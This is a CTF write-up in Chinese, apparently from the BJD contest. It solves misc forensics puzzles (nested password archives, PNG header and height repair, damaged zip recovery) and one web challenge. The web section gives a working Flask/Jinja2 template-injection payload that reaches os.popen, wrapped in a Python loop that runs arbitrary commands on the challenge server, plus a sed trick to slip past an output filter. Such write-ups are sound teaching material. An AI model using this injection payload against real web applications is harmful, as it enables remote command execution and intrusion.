Misc部分
之所以写这个部分,主要还是因为别的部分啥也不会😭😭
小姐姐
题目本身很简单,但是容易想复杂。
打开文件可以看到中间有错位,可以判断文件中有信息插入,于是打开十六进制编辑器搜索BJD,可以看到如下信息:
一道签到题
TARGZ
压缩包无限套娃,下载之后可以看到文件名比较诡异,同时压缩包有密码,可以发现文件名是密码,但是解压一个压缩包会出现一个新的,可以判断嵌套试的压缩包,于是可以写个程序自动跑一下密码。
import os
import sys
import time
import pexpect
def main():
data = os.listdir()
data.remove('1.py')
data.remove('.DS_Store')
file_name = data[0]
print(data)
password = file_name.split('.tar.gz')[0]
print(file_name)
child = pexpect.spawn('tar -zxf %s' % (file_name))
child.expect('Enter passphrase:')
child.sendline(password)
os.remove(file_name)
child.expect('/')
while True:
try:
main()
except:
pass
解压完成之后即可发现flag
美丽风景
下载之后发现是一张图片,丢进Stegsolve
发现CRC错误
但是更改CRC之后并没有什么效果,推测是图片大小改了。
由于图片大小是1000900推测可能是10001000改过来的,打开十六进制编辑器,
更改03 84 为03 E8
即可出现答案
神秘压缩包
解压后是一张图片,但是打开时候提示错误
PNG文件标志由8字节数据组成:89 50 4E 47 0D 0A 1A 0Ah,其中50 4E 47对应的ASCII值是”PNG”。
发现文件头缺失,补全文件头,即可获得flag
图片褪色
下载这个,用binwalk
跑一下,发现zip文件结尾,可以判断是文件隐写
然而foremost
提取失败
于是手工提取。
FF D9
之后便是压缩包内容,然而压缩包内容不完整。
首先zip压缩包是由多个文件实体(File Entry)和多个目录源数据(Central Directory)以及一个目录结束标识(End of central directory record)组成。举个栗子:我们新建个flag.txt文件内容为xiaomeiqiu007,然后压缩成flag.zip。用winhex打开下,我稍微标记一下。
红色部分为:文件实体(File Entry)
主要是记录文件压缩后的主要内容通常以504b0304
标识开头,每一被压缩的文件对应一个文件实体。文件实体中存储着当前被压缩文件的名字,文件修改时间,压缩方式,是否加密等信息。
蓝色部分为:目录源数据(Central Directory)
主要记录文件目录相关信息,如文件注释,大小,文件名等等…。由文件头(File Header)组成,通常是以504b0102标识开头
灰色部分:目录源数据结束标识(End of central directory record)
补上50 4B 03 04
,即可解压成功,发现hint
扫描后发现是
od -vtx1 ./draw.png | head -56 | tail -28
执行命令,定位位置,可以获得flag
加一个web题
Flask框架过滤不严
打开网页可以看到name参数可以输入参数
于是,试着加一下注入命令
可以看到从字符串找到父类之后,就可以找到os库
写一个简单的脚本,方便输入命令
import requests
while True:
data = input()
url = "http://43.248.125.174:10021/qaq?name={{%22%22.__class__.__bases__[0].__subclasses__()[117].__init__. __globals__[%27popen%27](\""+data+"\").read()}}"
print(requests.get(url).text)
当我们cat flag当时候,发现BJD被过滤了
这时候用sed做一下字符串替换就可以了
cat /flag | sed 's/BJD/hhh/g'